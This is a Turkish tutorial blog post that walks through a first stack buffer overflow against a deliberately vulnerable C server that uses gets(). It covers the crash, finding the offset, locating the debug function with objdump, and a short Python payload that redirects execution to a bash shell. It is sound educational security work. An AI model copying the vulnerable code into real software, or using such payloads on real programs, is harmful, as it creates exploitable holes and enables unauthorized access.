İlk Arabellek Taşmanız

Nov 27 2022
Bir şirkette öğrenci, geliştirici veya yönetici olun, bunu denemelisiniz. Güvenli kod yazmanın anahtarı, kodun ne kadar kötü kırıldığını anlamaktır.

Bir şirkette öğrenci, geliştirici veya yönetici olun, bunu denemelisiniz. Güvenli kod yazmanın anahtarı, kodun ne kadar kötü kırıldığını anlamaktır. Kötü kodu kırmanın tek yolu, ellerinizi kirletmek ve ikili sömürü mücadelelerinde kabukları patlatmaya başlamaktır. Bu makalede, YouTube'da yaptığım bir örneği kullanarak kendi arabellek taşması saldırınızı nasıl gerçekleştireceğinizi anlatacağım.

YouTube videolarımdan birinde, C Programlama dilindeki dizilerin insanları nasıl hacklediğini anlatmıştım. Bunun birincil nedeni, C dize türüyle ilişkilendirilmiş fırınlanmış uzunluk özniteliğinin olmamasıdır. Bir dizinin bitip bitmediğini anlamanın tek yolu, dizinin sonuna gitmektir.

https://youtu.be/fjMrDDj47E8

Bu kavram, yazılımlarda sayısız arabellek taşması güvenlik açığına yol açmış ve bunun sonucunda binlerce siber saldırıya ve kişisel verilerin çalınmasına yol açmıştır.

Savunmasız Sunucumuz

Aşağıda, C'deki basit bir sunucu için bazı kodlar bulunmaktadır.

#include <stdio.h>
#include <secrets.h>

void debug() 
{
    printf("!! ENTERING DEBUG MODE !!\n");
    system("/bin/bash");
}

int checkPassword()
{
    char password[64];

    printf("password: ");
    gets(password);

    return isValidPassword(password);
}

int main(int argc, char **argv)
{
    printf("WELCOME TO THE SECURE SERVER\n");

    if (checkPassword())
    {
        debug();
    } else {
        printf("Wrong password, sorry;\n");
    }
}

Ancak burada önemli bir güvenlik açığı bulunmaktadır. Sonunda kontrol edilen parola, son derece savunmasız bir işlev olan gets işlevi tarafından okunur. Bana inanmıyorsanız, get için man sayfasına bakın.

Never use gets(). Because it is impossible to tell without knowing the data 
in advance how many characters gets() will read, and because gets() will 
continue to store characters past the end of the buffer, it is extremely 
dangerous to use. It has been used to break computer security. Use fgets() 
instead.

Yığın

Programcılar ve siber güvenlik uzmanları için anlaması en zor kısım, arabellek dışındaki verilerin taşmasının bir bilgisayar korsanının kodunuzun ve nihayetinde bilgisayarınızın kontrolünü ele geçirmesine nasıl yol açabileceğidir. Bunun olmasının nedeni, bir program çalışırken bilgisayarların belleği nasıl organize ettiğidir.

Şekil 1: program akış kontrolü örneği

Yukarıdaki kod örneğinde, program main'de başlar . Ana başlatmadan sonra , 10. satırda other_function çağrılır. Anlaşılması son derece önemli olan, other_function döndükten sonra 11. satıra gitmeyi nasıl bildiğidir .

Bu bilgileri içeren yapıya “yığın” adı verilir. Yığın, programınız yürütüldüğünde kullanılan ve hem kontrol akışı bilgilerini (dönüş adresleri gibi) hem de verileri depolamak için kullanılan RAM bölgesidir.

main , other_function öğesini çağırdığında , other_function işlevi döndükten sonra main içinde yürütülecek olan adres , yığının en üstüne itilir. other_function çalışır ve ardından program main tarafından saklanan adrese geri döner .

Tampon taşmalarının önem kazanmaya başladığı yer burasıdır. Programınızın verilerinde arabellek taşması varsa, kontrol akış bilgilerini değiştirebilir ve sonunda programın çalışma şeklini değiştirebilirsiniz.

Kendin dene

Aynı şey burada bu kod parçacığı için de geçerlidir. Bu programın arkasındaki fikir şudur: Parolayı biliyorsanız, bir kabuk elde edersiniz. Ne yazık ki, biz bilgisayar korsanları şifreyi bilmiyoruz, bu yüzden bir kabuk alamıyoruz. Ancak, get işlevi kullanıldığından, arabellek taşması güvenlik açığından yararlanabilir ve dönüş adresini taşabiliriz. main işlevine geri dönmek yerine , parolayı bilmeden doğrudan hata ayıklama işlevine dönebiliriz.

Buradan takip edin:

https://github.com/lowlevellearning/secure-server-stuff

Test İşlevselliği

Başlamak için sunucuyu çalıştırmalı ve işlevselliğini test etmeliyiz. Ayrıca, şifreyi tahmin etmeye çalışalım.

Pekala, zar yok. Hacklemenin başladığı yer burasıdır.

Sunucuyu Çöktür

Adından da anlaşılacağı gibi, tamponu taşarak tampon taşmasından faydalanabiliriz. Bunu yapmak için, sunucunun işleyebileceğinden daha fazla veri sağlıyoruz.

Alt kısımda programın Segmentation Fault olduğunu görüyoruz . Bunun anlamı, programın erişemediği belleğe erişmeye çalıştığıdır. Bir geliştiriciyseniz, bu kötüdür. Ancak, sunucuyu hacklemeye çalışıyorsanız, bu iyidir :)

Çarpışmayı biraz daha açalım.

Burada, programın 0x41414141 adresindeki talimatları yürütmeye çalışırken segfault yaptığını görebiliriz. Bu adres... garip gelmeliydi. İlginç bir şekilde, 0x41414141, "AAAA" dizisinin onaltılı temsilidir, bu da As dizimizin dönüş adresine taştığı ve CPU'nun onu çalıştırmaya çalıştığı anlamına gelir. ŞİMDİ HACK YAPIYORUZ!

Kontrolü ele almak

Dönüş adresinin tam kontrolünü elde etmek için, ASCII dizimizin hangi bölümünün programın çökmesine neden olduğunu belirlememiz gerekir. Bunu, dizemizi farklı karakterlerle modüle ederek ve dönüş adresi kontrolümüzün nerede başlayıp nerede bittiğini belirlemek için karakterleri kullanarak yapabiliriz.

Uzun bir As dizisi yerine 64 As ve ardından bir dizi ekstra ASCII karakteri koyduk. 64 girdi arabelleğimizin uzunluğudur, bu yüzden uzunluğu tahmin etmeye başlamak için iyi bir yer. Bundan sonra ek karakterler ekliyoruz. Kontrolümüzün nerede başladığını kontrol etmek için öncekiyle aynı komutu kullanın.

Artık yeni bir iade adresimiz olduğunu görebilirsiniz. 0x45454545, “EEEE”nin onaltılık gösterimidir! Bunun anlamı, taşmamızın dönüş işaretçisini nerede kontrol altına aldığını belirlediğimizdir. Buradan, gerçekten önemsediğimiz arabelleğe bir adres koymamız gerekiyor. Hata ayıklama işlevine geri dönmeye çalışıyoruz, bu yüzden bu adresi EEEE dizesinin yerine koymalıyız.

Hata ayıklamanın adresini belirlemek için basit bir komut çalıştırıyoruz…

objdump -d -Mintel ./hacked | less

Hata ayıklama adresi 0x08049296 gibi görünüyor. Debug adresini EEEE stringimizin olduğu yere koyarsak belki şifreye ihtiyaç duymadan programı kontrol edip debuga dönebiliriz.

Nihai İstismar

Bunu biraz python-fu kullanarak yapabiliriz.

import sys

payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
payload += b"BBBBCCCCDDDD"
payload += b"\x08\x04\x92\x96"[::-1]

sys.stdout.buffer.write(payload)

user@user:~/vuln$ (python3 exploit.py; cat) | ./hacked
WELCOME TO THE SECURE SERVER

password: !! ENTERING DEBUG MODE !!

cat password
too_kool_4_skoo

Lütfen beni Medium'da takip edin, YouTube'da Abone olun. Gelmek için daha fazla!